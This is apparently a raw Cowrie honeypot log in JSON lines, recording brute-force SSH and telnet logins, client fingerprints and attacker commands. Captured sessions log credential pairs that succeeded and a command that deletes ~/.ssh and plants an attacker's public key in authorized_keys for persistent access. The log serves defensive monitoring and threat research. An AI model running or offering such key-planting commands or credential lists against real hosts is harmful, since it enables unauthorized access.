{"eventid":"cowrie.session.closed","duration":13.936944484710693,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:57:40.523182Z","src_ip":"147.182.143.59","session":"c7bc1e1219ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.97852611541748,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:57:40.817007Z","src_ip":"45.58.127.90","session":"093baf987a59","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"qwer1234","message":"login attempt [ftpuser/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:57:41.132218Z","src_ip":"79.104.0.82","session":"d357569373aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:57:42.284340Z","src_ip":"79.104.0.82","session":"d357569373aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":44968,"dst_ip":"159.203.135.109","dst_port":23,"session":"579be8d6c61c","protocol":"telnet","message":"New connection: 147.182.143.59:44968 (159.203.135.109:23) [session: 579be8d6c61c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:57:43.738510Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59226,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d5f25a1889e","protocol":"telnet","message":"New connection: 45.58.127.90:59226 (10.17.0.5:23) [session: 9d5f25a1889e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:57:46.773563Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48296,"dst_ip":"10.17.0.5","dst_port":23,"session":"c761ef10100b","protocol":"telnet","message":"New connection: 45.58.127.90:48296 (10.17.0.5:23) [session: c761ef10100b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:57:50.592006Z"}
{"eventid":"cowrie.session.closed","duration":7.514654874801636,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:57:51.253014Z","src_ip":"147.182.143.59","session":"579be8d6c61c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.95533609390259,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:04.978260Z","src_ip":"45.58.127.90","session":"6f69d20c2476","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.787904500961304,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:07.432619Z","src_ip":"45.58.127.90","session":"42a1b97551f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.71527290344238,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:12.304812Z","src_ip":"45.58.127.90","session":"68581042224e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46946,"dst_ip":"10.17.0.5","dst_port":23,"session":"328cf2146348","protocol":"telnet","message":"New connection: 45.58.127.90:46946 (10.17.0.5:23) [session: 328cf2146348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:20.661612Z"}
{"eventid":"cowrie.session.closed","duration":37.88059997558594,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:28.472489Z","src_ip":"45.58.127.90","session":"c761ef10100b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":48296,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfc1e8658f99","protocol":"telnet","message":"New connection: 147.182.143.59:48296 (159.203.135.109:23) [session: cfc1e8658f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:29.626597Z"}
{"eventid":"cowrie.session.closed","duration":43.10075330734253,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:29.874189Z","src_ip":"45.58.127.90","session":"9d5f25a1889e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":57720,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d18a1b37477","protocol":"ssh","message":"New connection: 79.104.0.82:57720 (10.17.0.5:22) [session: 5d18a1b37477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:30.093071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:30.099561Z","src_ip":"79.104.0.82","session":"5d18a1b37477","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:30.240853Z","src_ip":"79.104.0.82","session":"5d18a1b37477","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracleadmin","message":"login attempt [oracle/oracleadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:30.832860Z","src_ip":"79.104.0.82","session":"5d18a1b37477","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:31.151467Z","src_ip":"79.104.0.82","session":"5d18a1b37477","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:31.155185Z","src_ip":"79.104.0.82","session":"5d18a1b37477","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:31.159088Z","src_ip":"79.104.0.82","session":"5d18a1b37477","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:31.302497Z","src_ip":"79.104.0.82","session":"5d18a1b37477","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:31.625172Z","src_ip":"79.104.0.82","session":"5d18a1b37477","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:31.628876Z","src_ip":"79.104.0.82","session":"5d18a1b37477","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:31.773670Z","src_ip":"79.104.0.82","session":"5d18a1b37477","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:31.777375Z","src_ip":"79.104.0.82","session":"5d18a1b37477","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":58480,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fa6a63dd9ad","protocol":"ssh","message":"New connection: 79.104.0.82:58480 (10.17.0.5:22) [session: 3fa6a63dd9ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:31.911278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:31.915677Z","src_ip":"79.104.0.82","session":"3fa6a63dd9ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:32.059101Z","src_ip":"79.104.0.82","session":"3fa6a63dd9ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:32.659765Z","src_ip":"79.104.0.82","session":"3fa6a63dd9ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:33.804613Z","src_ip":"79.104.0.82","session":"3fa6a63dd9ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":59292,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4ff114e0fce","protocol":"ssh","message":"New connection: 79.104.0.82:59292 (10.17.0.5:22) [session: e4ff114e0fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:33.944006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:33.951709Z","src_ip":"79.104.0.82","session":"e4ff114e0fce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:34.096137Z","src_ip":"79.104.0.82","session":"e4ff114e0fce","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:34.700850Z","src_ip":"79.104.0.82","session":"e4ff114e0fce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:34.848006Z","src_ip":"79.104.0.82","session":"5d18a1b37477","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:34.852411Z","src_ip":"79.104.0.82","session":"e4ff114e0fce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.214.25.125","src_port":65107,"dst_ip":"10.17.0.5","dst_port":22,"session":"4899874512e5","protocol":"ssh","message":"New connection: 88.214.25.125:65107 (10.17.0.5:22) [session: 4899874512e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:35.064289Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000/*\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=Administr","message":"Remote SSH version: \u0003\u0000\u0000/*\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=Administr","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:35.069408Z","src_ip":"88.214.25.125","session":"4899874512e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:35.073430Z","src_ip":"88.214.25.125","session":"4899874512e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.58126163482666,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:44.207727Z","src_ip":"147.182.143.59","session":"cfc1e8658f99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":37616,"dst_ip":"159.203.135.109","dst_port":23,"session":"b85677a338d6","protocol":"telnet","message":"New connection: 147.182.143.59:37616 (159.203.135.109:23) [session: b85677a338d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:44.914229Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":37556,"dst_ip":"159.203.135.109","dst_port":23,"session":"e01ad1d14da6","protocol":"telnet","message":"New connection: 147.182.143.59:37556 (159.203.135.109:23) [session: e01ad1d14da6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:48.086494Z"}
{"eventid":"cowrie.session.closed","duration":34.69045805931091,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:55.351911Z","src_ip":"45.58.127.90","session":"328cf2146348","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52810,"dst_ip":"10.17.0.5","dst_port":23,"session":"d16c98f37b6e","protocol":"telnet","message":"New connection: 45.58.127.90:52810 (10.17.0.5:23) [session: d16c98f37b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:58:59.162228Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":44256,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4f637147d46","protocol":"telnet","message":"New connection: 147.182.143.59:44256 (159.203.135.109:23) [session: f4f637147d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:00.410854Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":44260,"dst_ip":"159.203.135.109","dst_port":23,"session":"86aa204c81c3","protocol":"telnet","message":"New connection: 147.182.143.59:44260 (159.203.135.109:23) [session: 86aa204c81c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:01.371872Z"}
{"eventid":"cowrie.session.closed","duration":16.66864800453186,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:01.582762Z","src_ip":"147.182.143.59","session":"b85677a338d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"84.54.72.146","src_port":40427,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd5155dcbbd6","protocol":"telnet","message":"New connection: 84.54.72.146:40427 (10.17.0.5:23) [session: fd5155dcbbd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:04.520665Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.184.67","src_port":33810,"dst_ip":"10.17.0.5","dst_port":22,"session":"484095848060","protocol":"ssh","message":"New connection: 186.233.184.67:33810 (10.17.0.5:22) [session: 484095848060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:10.135947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:10.141043Z","src_ip":"186.233.184.67","session":"484095848060","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:10.180047Z","src_ip":"186.233.184.67","session":"484095848060","protocol":"ssh"}
